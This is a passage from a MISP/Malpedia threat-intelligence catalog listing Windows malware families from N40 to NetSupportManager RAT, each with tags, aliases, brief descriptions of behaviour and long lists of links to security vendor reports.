Botnet with focus on banks in Latin America and South America. Relies on DLL Sideloading attacks to execute malicious DLL files. Uses legitimate VMWare executable in attacks. As of March 2019, the malware is under active development with updated versions coming out on persistent basis.

The tag is: *misp-galaxy:malpedia="N40"*

N40 is also known as:

Table 4555. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.n40
http://blog.en.elevenpaths.com/2018/05/new-report-malware-attacks-chilean.html
https://socprime.com/en/news/attackers-exploit-dll-hijacking-to-bypass-smartscreen/
https://www.slideshare.net/elevenpaths/n40-the-botnet-created-in-brazil-which-evolves-to-attack-the-chilean-banking-sector
http://reversingminds-blog.logdown.com/posts/7807545-analysis-of-advanced-brazilian-banker-malware

Nabucur

The tag is: *misp-galaxy:malpedia="Nabucur"*

Nabucur is also known as:

Table 4556. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nabucur

NACHOCHEESE

According to FireEye, NACHOCHEESE is a command-line tunneler that accepts delimited C&C IPs or domains via command-line and gives actors shell access to a victim's system.

The tag is: *misp-galaxy:malpedia="NACHOCHEESE"*

NACHOCHEESE is also known as:

- Cyruslish
- TWOPENCE
- VIVACIOUSGIFT

Table 4557. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nachocheese
https://www.virusbulletin.com/uploads/pdf/magazine/2018/VB2018-Kalnai-Poslusny.pdf
https://baesystemsai.blogspot.com/2017/02/lazarus-false-flag-malware.html
https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf
https://raw.githubusercontent.com/eric-erki/APT_CyberCriminal_Campagin_Collections/master/2017/2017.05.30.Lazarus_Arisen/Group-IB_Lazarus.pdf
https://www.welivesecurity.com/2017/02/16/demystifying-targeted-malware-used-polish-banks/
https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/pf/apt/rpt-apt38-2018.pdf
https://us-cert.cisa.gov/ncas/analysis-reports/ar20-239b

Nagini

The tag is: *misp-galaxy:malpedia="Nagini"*

Nagini is also known as:

Table 4558. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nagini
http://bestsecuritysearch.com/voldemortnagini-ransomware-virus/

Naikon

The tag is: *misp-galaxy:malpedia="Naikon"*

Naikon is also known as:

- Sacto

Table 4559. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.naikon
https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf
https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf
https://securelist.com/analysis/publications/69953/the-naikon-apt/

NailaoLocker

According to Orange Cybwerdefense, NailaoLocker is a ransomware using AES-256-CTR mode, which conveniently logs its encryption activities into a log file.

The tag is: *misp-galaxy:malpedia="NailaoLocker"*

NailaoLocker is also known as:

Table 4560. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nailao_locker
https://www.trendmicro.com/fr_fr/research/25/b/updated-shadowpad-malware-leads-to-ransomware-deployment.html
https://github.com/knight0x07/NailaoLoader-Hiding-Execution-Flow
https://github.com/cert-orangecyberdefense/cti/tree/main/green_nailao
https://www.orangecyberdefense.com/global/blog/cert-news/meet-nailaolocker-a-ransomware-distributed-in-europe-by-shadowpad-and-plugx-backdoors

Nanocore RAT

Nanocore is a Remote Access Tool used to steal credentials and to spy on cameras. It as been used for a while by numerous criminal actors as well as by nation state threat actors.

The tag is: *misp-galaxy:malpedia="Nanocore RAT"*

Nanocore RAT is also known as:

- Nancrat
- NanoCore

Table 4561. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nanocore
https://blog.morphisec.com/syk-crypter-discord
https://www.crowdstrike.com/blog/weaponizing-disk-image-files-analysis/
https://blog.360totalsecurity.com/en/vendetta-new-threat-actor-from-europe/
https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf
https://github.com/threatland/TL-TROJAN/tree/master/TL.RAT/RAT.Win.Nanocore
https://medium.com/@shaddy43/secrets-of-commercial-rats-nanocore-dissected-69e1213b34c3
https://securityintelligence.com/posts/roboski-global-recovery-automation/
https://www.trendmicro.com/en_us/research/21/i/Water-Basilisk-Uses-New-HCrypt-Variant-to-Flood-Victims-with-RAT-Payloads.html
https://www.secureworks.com/research/threat-profiles/cobalt-trinity
https://www.proofpoint.com/us/blog/threat-insight/new-threat-actor-spoofs-philippine-government-covid-19-health-data-widespread
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/elfin-indictments-iran-espionage
https://community.riskiq.com/article/ade260c6
https://www.zscaler.com/blogs/research/multistage-freedom-loader-used-spread-azorult-and-nanocore-rat
https://us-cert.cisa.gov/ncas/alerts/aa20-345a
https://www.gdatasoftware.com/blog/global-pandemic-remcos-tesla-netwire
https://symantec-blogs.broadcom.com/blogs/threat-intelligence/elfin-apt33-espionage
https://www.intezer.com/wp-content/uploads/2021/02/Intezer-2020-Go-Malware-Round-Up.pdf
https://blog.cluster25.duskrise.com/2023/10/12/cve-2023-38831-russian-attack
https://mp.weixin.qq.com/s/mstwBMkS0G3Et4GOji2mwA
https://goggleheadedhacker.com/blog/post/11
https://medium.com/@M3HS1N/malware-analysis-nanocore-rat-6cae8c6df918
https://medium.com/@mariohenkel/decrypting-nanocore-config-and-dump-all-plugins-f4944bfaba52?sk=00be46bc5bf99e8ab67369152ceb0332
https://www.cisecurity.org/insights/blog/top-10-malware-march-2022
https://www.cloudsek.com/blog/threat-actors-abuse-ai-generated-youtube-videos-to-spread-stealer-malware

https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/how-cybercriminals-abuse-cloud-tunneling-services

https://labs.bitdefender.com/2020/03/5-times-more-coronavirus-themed-malware-reports-during-march/?utm_campaign=twitter&utm_medium=twitter&utm_source=twitter

https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage

https://umbrella.cisco.com/blog/navigating-cybersecurity-during-a-pandemic-latest-malware-and-threat-actors

https://community.riskiq.com/article/24759ad2

https://www.bleepingcomputer.com/news/security/nanocore-rat-author-gets-33-months-in-prison/

https://research.checkpoint.com/2024/foxit-pdf-flawed-design-exploitation/

https://www.proofpoint.com/us/blog/threat-insight/threat-actor-profile-ta2719-uses-colorful-lures-deliver-rats-local-languages

https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord

https://assets.virustotal.com/reports/2021trends.pdf

https://www.embeeresearch.io/advanced-cyberchef-techniques-defeating-nanocore-obfuscation-with-math-and-flow-control/

https://www.proofpoint.com/us/threat-insight/post/new-whiteshadow-downloader-uses-microsoft-sql-retrieve-malware

https://blog.talosintelligence.com/2020/02/coronavirus-themed-malware.html

https://zero2auto.com/2020/06/07/dealing-with-obfuscated-macros/

https://blog.talosintelligence.com/2021/04/a-year-of-fajan-evolution-and-bloomberg.html

https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf

https://www.ic3.gov/media/news/2020/200917-1.pdf

https://0xmrmagnezi.github.io/malware%20analysis/NanoCore/

https://intel471.com/blog/privateloader-malware

https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html

https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q3%20Botnet%20Threat%20Update.pdf

https://blog.talosintelligence.com/2022/01/nanocore-netwire-and-asyncrat-spreading.html

https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html

https://medium.com/@the_abjuri5t/nanocore-rat-hunting-guide-cb185473c1e0

https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/image-file-trickery-part-ii-fake-icon-delivers-nanocore/

https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/

https://threatrecon.nshc.net/2019/09/19/sectorh01-continues-abusing-web-services/
https://www.secureworks.com/research/darktortilla-malware-analysis
https://www.trendmicro.com/en_us/research/21/k/campaign-abusing-rats-uses-fake-websites.html
https://www.zscaler.com/blogs/security-research/catching-rats-over-custom-protocols
https://info.spamhaus.com/hubfs/Botnet%20Reports/2022%20Q3%20Botnet%20Threat%20Update.pdf
https://blog.360totalsecurity.com/en/bayworld-event-cyber-attack-against-foreign-trade-industry/
https://youtu.be/NVnJImFm6P8
https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/
https://www.ciphertechsolutions.com/roboski-global-recovery-automation/
https://malwareindepth.com/defeating-nanocore-and-cypherit/
https://medium.com/@mariohenkel/decrypting-nanocore-config-and-dump-all-plugins-f4944bfaba52

NanoLocker

The tag is: *misp-galaxy:malpedia="NanoLocker"*

NanoLocker is also known as:

Table 4562. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nano_locker

NAPLISTENER

The tag is: *misp-galaxy:malpedia="NAPLISTENER"*

NAPLISTENER is also known as:

Table 4563. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.naplistener
https://www.elastic.co/de/security-labs/naplistener-more-bad-dreams-from-the-developers-of-siestagraph
https://www.elastic.co/security-labs/ref2924-howto-maintain-persistence-as-an-advanced-threat

Narilam

The tag is: *misp-galaxy:malpedia="Narilam"*

Narilam is also known as:

Table 4564. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.narilam
https://www.symantec.com/connect/blogs/w32narilam-business-database-sabotage
http://contagiodump.blogspot.com/2012/12/nov-2012-w32narilam-sample.html

Nautilus

The tag is: *misp-galaxy:malpedia="Nautilus"*

Nautilus is also known as:

Table 4565. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nautilus
https://www.ncsc.gov.uk/news/turla-group-exploits-iran-apt-to-expand-coverage-of-victims
https://www.secureworks.com/research/threat-profiles/iron-hunter
https://www.ncsc.gov.uk/alerts/turla-group-malware

NavRAT

The tag is: *misp-galaxy:malpedia="NavRAT"*

NavRAT is also known as:

- JinhoSpy

Table 4566. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.navrat
https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf
https://www.youtube.com/watch?v=rfzmHjZX70s
https://blog.talosintelligence.com/2018/05/navrat.html?m=1
https://norfolkinfosec.com/how-to-analyzing-a-malicious-hangul-word-processor-document-from-a-dprk-threat-actor-group/
https://i.blackhat.com/asia-21/Friday-Handouts/as-21-Kuo-We-Are-About-To-Land-How-CloudDragon-Turns-A-Nightmare-Into-Reality.pdf

nccTrojan

The tag is: *misp-galaxy:malpedia="nccTrojan"*

nccTrojan is also known as:

Table 4567. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ncctrojan
https://vblocalhost.com/uploads/VB2020-20.pdf
https://sebdraven.medium.com/actor-behind-operation-lagtime-targets-russia-f8c277dc52a9
https://www.youtube.com/watch?v=1WfPlgtfWnQ
https://insight-jp.nttsecurity.com/post/102gr6l/ta428ncctrojan
https://www.socinvestigation.com/chinese-new-backdoor-deployed-for-cyberespionage/
https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-Targeted-attack-on-industrial-enterprises-and-public-institutions-En.pdf
https://twitter.com/ESETresearch/status/1441139057682104325?s=20
https://vblocalhost.com/uploads/VB2020-Ozawa-etal.pdf

Nebulae

The tag is: *misp-galaxy:malpedia="Nebulae"*

Nebulae is also known as:

Table 4568. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nebulae
https://www.bleepingcomputer.com/news/security/cyberspies-target-military-organizations-with-new-nebulae-backdoor/
https://twitter.com/SyscallE/status/1390339497804636166
https://www.cybereason.com/blog/deadringer-exposing-chinese-threat-actors-targeting-major-telcos
https://www.securityweek.com/chinese-cyberspies-target-military-organizations-asia-new-malware
https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf

Neconyd

The tag is: *misp-galaxy:malpedia="Neconyd"*

Neconyd is also known as:

Table 4569. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.neconyd
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:Win32/Neconyd.A

Necurs

The tag is: *misp-galaxy:malpedia="Necurs"*

Necurs is also known as:

- nucurs

Table 4570. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.necurs
https://www.proofpoint.com/us/threat-insight/post/holiday-lull-not-so-much
https://lokalhost.pl/txt/peering.into.spam.botnets.VirusBulletin2017.pdf
https://blog.trendmicro.com/trendlabs-security-intelligence/the-new-face-of-necurs-noteworthy-changes-to-necurs-behaviors
https://blog.trendmicro.com/trendlabs-security-intelligence/necurs-evolves-to-evade-spam-detection-via-internet-shortcut-file/
https://blogs.microsoft.com/on-the-issues/2020/03/10/necurs-botnet-cyber-crime-disrupt/
https://research.nccgroup.com/2021/12/01/tracking-a-p2p-network-related-with-ta505/
https://bin.re/blog/the-dgas-of-necurs/
https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/
https://intel471.com/blog/a-brief-history-of-ta505
https://www.secureworks.com/research/threat-profiles/gold-riverview
http://www.secureworks.com/research/threat-profiles/gold-riverview
https://www.cert.pl/en/news/single/necurs-hybrid-spam-botnet/
https://www.shadowserver.org/news/has-the-sun-set-on-the-necurs-botnet/
https://cofense.com/necurs-targeting-banks-pub-file-drops-flawedammyy/
https://www.bitsight.com/blog/joint-effort-with-microsoft-to-takedown-massive-criminal-botnet-necurs
https://www.bitsighttech.com/blog/necurs-proxy-module-with-ddos-features
http://blog.talosintelligence.com/2017/03/necurs-diversifies.html

https://www.blueliv.com/wp-content/uploads/2018/07/Blueliv-Necurs-report-2017.pdf
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://blog.avast.com/botception-with-necurs-botnet-distributes-script-with-bot-capabilities-avast-threat-labs
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf
https://www.trustwave.com/Resources/SpiderLabs-Blog/Necurs-Recurs/

NedDnLoader

NedDnLoader is an HTTP(S) downloader that uses AES for C&C trafic encryption.

It sends detailed information about the victim's environment, like computer name, user name, type and free disk space of all drives, and a list of currently running processes. It uses three typical parameter names for HTTP POST requests: ned, gl, hl. The usual payload downloaded with NedDnLoader is Torisma.

The internal DLL name of NedDnLoader is usually Dn.dll, Dn64.dll or DnDll.dll. It is deployed either as a standalone payload or within a trojanized MFC application project. It contains specific RTTI symbols like ".?AVCWininet_Protocol@@" or ".?AVCMFC_DLLApp@@".

The tag is: *misp-galaxy:malpedia="NedDnLoader"*

NedDnLoader is also known as:

Table 4571. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.neddnloader
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-behind-the-scenes/
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-a-job-offer-thats-too-good-to-be-true/
https://www.clearskysec.com/wp-content/uploads/2020/08/Dream-Job-Campaign.pdf
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf
https://www.telsy.com/lazarus-gate/
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020OverWatchNowheretoHide.pdf
https://securelist.com/the-lazarus-group-deathnote-campaign/109490/

Nefilim

According to Vitali Kremez and Michael Gillespie, this ransomware shares much code with Nemty 2.5. A difference is removal of the RaaS component, which was switched to email communications for payments. Uses AES-128, which is then protected RSA2048.

The tag is: *misp-galaxy:malpedia="Nefilim"*

Nefilim is also known as:

- Nephilim

Table 4572. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nefilim
https://www.mandiant.com/resources/financially-motivated-actors-are-expanding-access-into-ot
https://www.bleepingcomputer.com/news/security/new-nefilim-ransomware-threatens-to-release-victims-data/
https://vulnerability.ch/2021/04/ransomware-and-date-leak-site-publication-time-analysis/
http://www.secureworks.com/research/threat-profiles/gold-mansard
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf
https://us-cert.cisa.gov/ncas/alerts/aa20-345a
https://www.intezer.com/wp-content/uploads/2021/02/Intezer-2020-Go-Malware-Round-Up.pdf
https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/wp-spark-state-of-ransomware.pdf
https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/
https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/
https://www.bleepingcomputer.com/news/security/three-more-ransomware-families-create-sites-to-leak-stolen-data/
https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/
https://www.accenture.com/us-en/blogs/cyber-defense/evolving-danger-ransomware-extortion
https://www.picussecurity.com/resource/blog/how-to-beat-nefilim-ransomware-attacks
https://www.bleepingcomputer.com/news/security/home-appliance-giant-whirlpool-hit-in-nefilim-ransomware-attack/
https://labs.sentinelone.com/meet-nemty-successor-nefilim-nephilim-ransomware/
https://securelist.com/evolution-of-jsworm-ransomware/102428/
https://www.fireeye.com/blog/threat-research/2020/07/financially-motivated-actors-are-expanding-access-into-ot.html
https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/nefilim-ransomware-threatens-to-expose-stolen-data
https://www.trendmicro.com/en_us/research/21/f/nefilim-modern-ransomware-attack-story.html
https://www.cert.govt.nz/it-specialists/advisories/active-ransomware-campaign-leveraging-remote-access-technologies/

https://www.trendmicro.com/en_us/research/21/b/nefilim-ransomware.html
https://news.sophos.com/en-us/2021/01/26/nefilim-ransomware-attack-uses-ghost-credentials/
https://intel471.com/blog/how-cybercriminals-create-turbulence-for-the-transportation-industry
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-as-a-service-enabler-of-widespread-attacks
https://documents.trendmicro.com/assets/white_papers/wp-modern-ransomwares-double-extortion-tactics.pdf
https://id-ransomware.blogspot.com/2020/03/nefilim-ransomware.html
https://blog.qualys.com/vulnerabilities-research/2021/05/12/nefilim-ransomware

Nemesis

The tag is: *misp-galaxy:malpedia="Nemesis"*

Nemesis is also known as:

- Project Nemesis

Table 4573. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nemesis
https://securityintelligence.com/posts/ex-conti-fin7-actors-collaborate-new-domino-backdoor
https://medium.com/walmartglobaltech/nemesisproject-816ed5c1e8d5

Nemim

The tag is: *misp-galaxy:malpedia="Nemim"*

Nemim is also known as:

- Nemain

Table 4574. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nemim
https://www.secureworks.com/research/threat-profiles/tungsten-bridge
http://blog.nsfocus.net/darkhotel-3-0908/

Nemty

Nemty is a ransomware that was discovered in September 2019. Fortinet states that they found it being distributed through similar ways as Sodinokibi and also noted artfifacts they had seen before

in Gandcrab.

The tag is: *misp-galaxy:malpedia="Nemty"*

Nemty is also known as:

Table 4575. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nemty
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/nemty-ransomware-trik-botnet
https://www.fortinet.com/blog/threat-research/nemty-ransomware-early-stage-threat.html
https://www.tesorion.nl/en/posts/nemty-update-decryptors-for-nemty-1-5-and-1-6/
http://www.secureworks.com/research/threat-profiles/gold-mansard
https://www.bleepingcomputer.com/news/security/fake-paypal-site-spreads-nemty-ransomware/
https://medium.com/csis-techblog/the-nemty-affiliate-model-13f5cf7ab66b
https://www.bleepingcomputer.com/news/security/three-more-ransomware-families-create-sites-to-leak-stolen-data/
https://www.bleepingcomputer.com/news/security/new-nemty-ransomware-may-spread-via-compromised-rdp-connections/
https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/
https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf
https://labs.sentinelone.com/meet-nemty-successor-nefilim-nephilim-ransomware/
https://securelist.com/evolution-of-jsworm-ransomware/102428/
https://raw.githubusercontent.com/k-vitali/Malware-Misc-RE/master/2019-08-24-nemty-ransomware-notes.vk.raw
https://www.tesorion.nl/nemty-update-decryptors-for-nemty-1-5-and-1-6/
https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3
https://www.bleepingcomputer.com/news/security/nemty-ransomware-gets-distribution-from-rig-exploit-kit/
https://www.sentinelone.com/labs/nokoyawa-ransomware-new-karma-nemty-variant-wears-thin-disguise/
https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf
https://www.sentinelone.com/labs/karma-ransomware-an-emerging-threat-with-a-hint-of-nemty-pedigree/
https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware

https://github.com/albertzsigovits/malware-notes/blob/master/Nemty.md
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/
https://www.bleepingcomputer.com/news/security/nemty-ransomware-decryptor-released-recover-files-for-free/
https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145
https://www.lastline.com/labsblog/nemty-ransomware-scaling-up-apac-mailboxes-swarmed-dual-downloaders/
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/nemty-ransomware-learning-by-doing/

Nerbian RAT

Proofpoint observed distribution of this RAT since late April 2022, it is written on Go and incorporates code from various open-source Git repositories.

The tag is: *misp-galaxy:malpedia="Nerbian RAT"*

Nerbian RAT is also known as:

Table 4576. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nerbian_rat
https://www.proofpoint.com/us/blog/threat-insight/nerbian-rat-using-covid-19-themes-features-sophisticated-evasion-techniques

neshta

Neshta is a 2005 Belarusian file infector virus written in Delphi. The name of the virus comes from the Belarusian word "nesta" meaning "something."

The tag is: *misp-galaxy:malpedia="neshta"*

neshta is also known as:

Table 4577. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.neshta
https://www.virusbulletin.com/virusbulletin/2014/08/bird-s-nest
https://threatvector.cylance.com/en_us/home/threat-spotlight-neshta-file-infector-endures.html
https://web.archive.org/web/20220119114002/https:/www.virusradar.com/en/Win32_Neshta.A/description
https://www.mandiant.com/resources/pe-file-infecting-malware-ot

https://www.virusradar.com/en/Win32_Neshta.A/description

NESTEGG

NESTEGG is a memory-only backdoor that can proxy commands to other infected systems using a custom routing scheme. It accepts commands to upload and download files, list and delete files, list and terminate processes, and start processes. NESTEGG also creates Windows Firewall rules that allows the backdoor to bind to a specified port number to allow for inbound traffic.

The tag is: *misp-galaxy:malpedia="NESTEGG"*

NESTEGG is also known as:

Table 4578. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nestegg
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180231/LazarusUnderTheHood_PDF_final_for_securelist.pdf
https://www.documentcloud.org/documents/4834259-Park-Jin-Hyok-Complaint.html
https://securelist.com/lazarus-under-the-hood/77908/
https://content.fireeye.com/apt/rpt-apt38
https://youtu.be/8hJyLkLHH8Q?t=1208
https://youtu.be/_kzFNQySEMw?t=789

NetC

The tag is: *misp-galaxy:malpedia="NetC"*

NetC is also known as:

Table 4579. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.netc
https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf

NetDooka

A RAT written in .NET, delivered with a driver to protect it from deletion. Observed being dropped by PrivateLoader.

The tag is: *misp-galaxy:malpedia="NetDooka"*

NetDooka is also known as:

Table 4580. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.netdooka
https://www.trendmicro.com/en_us/research/22/e/netdooka-framework-distributed-via-privateloader-ppi.html

NETEAGLE

The tag is: *misp-galaxy:malpedia="NETEAGLE"*

NETEAGLE is also known as:

- Neteagle_Scout
- ScoutEagle

Table 4581. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.neteagle
https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/eagle-eye-is-back-apt30/
https://www.mandiant.com/sites/default/files/2021-09/rpt-apt30.pdf

NetfilterRootkit

NetfilterRootkit is a WFP application layer enforcement callout driver which is signed by Microsoft via the Windows Hardware Compatibility program. It was first discovered by Karsten Hahn. His team submitted the malware to Microsoft, which allowed Microsoft to start an investigation.

After Karsten Hahn published tweets and an article about the rootkit, Microsoft quickly responded with their own article. Their investigation revealed Chinese gamers as targets of the malware. The rootkit redirects traffic to the threat actor's IP. The threat actor can use the driver to spoof their geo-location to cheat, but it also allows account compromise of targeted players.

While this particular rootkit is not significant anymore, similar rootkits have been created since that are also signed by Microsoft via the Windows Hardware Compatibility program.

The tag is: *misp-galaxy:malpedia="NetfilterRootkit"*

NetfilterRootkit is also known as:

Table 4582. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.netfilter
https://splintersfury.github.io/mal_blog/post/netfilter_driver/
https://www.gdatasoftware.com/blog/microsoft-signed-a-malicious-netfilter-rootkit
https://blog.360totalsecurity.com/en/netfilter-rootkit-ii-continues-to-hold-whql-signatures/
https://msrc-blog.microsoft.com/2021/06/25/investigating-and-mitigating-malicious-drivers/
https://www.intezer.com/blog/malware-analysis/fast-insights-for-a-microsoft-signed-netfilter-rootkit/
https://www.vice.com/en/article/pkbzxv/hackers-tricked-microsoft-into-certifying-malware-that-could-spy-on-users
https://www.bitdefender.com/files/News/CaseStudies/study/405/Bitdefender-DT-Whitepaper-Fivesys-creat5699-en-EN.pdf
https://blog.bushidotoken.net/2022/05/gamer-cheater-hacker-spy.html

NetFlash

The tag is: *misp-galaxy:malpedia="NetFlash"*

NetFlash is also known as:

Table 4583. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.netflash
https://www.welivesecurity.com/2020/03/12/tracking-turla-new-backdoor-armenian-watering-holes/

NetKey

The tag is: *misp-galaxy:malpedia="NetKey"*

NetKey is also known as:

Table 4584. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.netkey
https://twitter.com/kevinperlow/status/1156406115472760835

Netrepser

The tag is: *misp-galaxy:malpedia="Netrepser"*

Netrepser is also known as:

Table 4585. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.netrepser_keylogger
https://labs.bitdefender.com/2017/05/inside-netrepser-a-javascript-based-targeted-attack/

NetSpy

Freely available network reconnaissance tool.

The tag is: *misp-galaxy:malpedia="NetSpy"*

NetSpy is also known as:

Table 4586. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.netspy
https://github.com/shmilylty/netspy

NetSupportManager RAT

Enigma Software notes that NetSupport Manager is a genuine application, which was first released about twenty years ago. The purpose of the NetSupport Manager tool is to enable users to receive remote technical support or provide remote computer assistance. However, cyber crooks have hijacked this useful application and misappropriated it to use it in their harmful campaigns. The name of the modified version of the NetSupport Manager has been labeled the NetSupport Manager RAT.

The tag is: *misp-galaxy:malpedia="NetSupportManager RAT"*

NetSupportManager RAT is also known as:

- NetSupport

Table 4587. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.netsupportmanager_rat
https://researchcenter.paloaltonetworks.com/2017/09/unit42-hoeflertext-popups-targeting-google-chrome-users-now-pushing-rat-malware/
https://securelist.com/horns-n-hooves-campaign-delivering-netsupport-rat/114740/
https://resource.redcanary.com/rs/003-YRU-314/images/2025ThreatDetectionReport_RedCanary.pdf
https://medium.com/walmartglobaltech/socgholish-campaigns-and-initial-access-kit-4c4283fea8ee
https://decoded.avast.io/janrubin/parrot-tds-takes-over-web-servers-and-threatens-millions/
https://blog.sucuri.net/2020/11/css-js-steganography-in-fake-flash-player-update-malware.html

https://www.rewterz.com/rewterz-news/rewterz-threat-alert-widely-abused-msix-app-installer-disabled-by-microsoft-active-iocs

https://www.youtube.com/watch?v=CIg4TXFJRK0

https://www.elastic.co/security-labs/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks

https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/

https://www.bleepingcomputer.com/news/security/hacked-steam-accounts-spreading-remote-access-trojan/

https://medium.com/@ad12347/netsupport-rat-hits-again-with-new-iocs-37318de44cfc

https://www.trellix.com/about/newsroom/stories/research/new-techniques-of-fake-browser-updates/

https://symantec-enterprise-blogs.security.com/threat-intelligence/malware-ai-llm

https://medium.com/walmartglobaltech/smartapesg-4605157a5b80

https://www.trendmicro.com/en_us/research/23/c/new-opcjacker-malware-distributed-via-fake-vpn-malvertising.html

https://www.proofpoint.com/us/blog/threat-insight/clipboard-compromise-powershell-self-pwn

https://www.esentire.com/blog/fake-chrome-setup-leads-to-netsupportmanager-rat-and-mars-stealer

https://www.bleepingcomputer.com/news/security/malicious-web-redirect-service-infects-16-500-sites-to-push-malware/

https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/

https://blogs.vmware.com/security/2023/11/netsupport-rat-the-rat-king-returns.html

https://www.rapid7.com/blog/post/2024/05/10/ongoing-social-engineering-campaign-linked-to-black-basta-ransomware-operators/

https://blog.prevailion.com/2020/03/the-curious-case-of-criminal-curriculum.html

http://www.netsupportmanager.com/index.asp

https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/operation-ta505-part2/

https://embeeresearch.io/advanced-cyberchef-operations-netsupport/

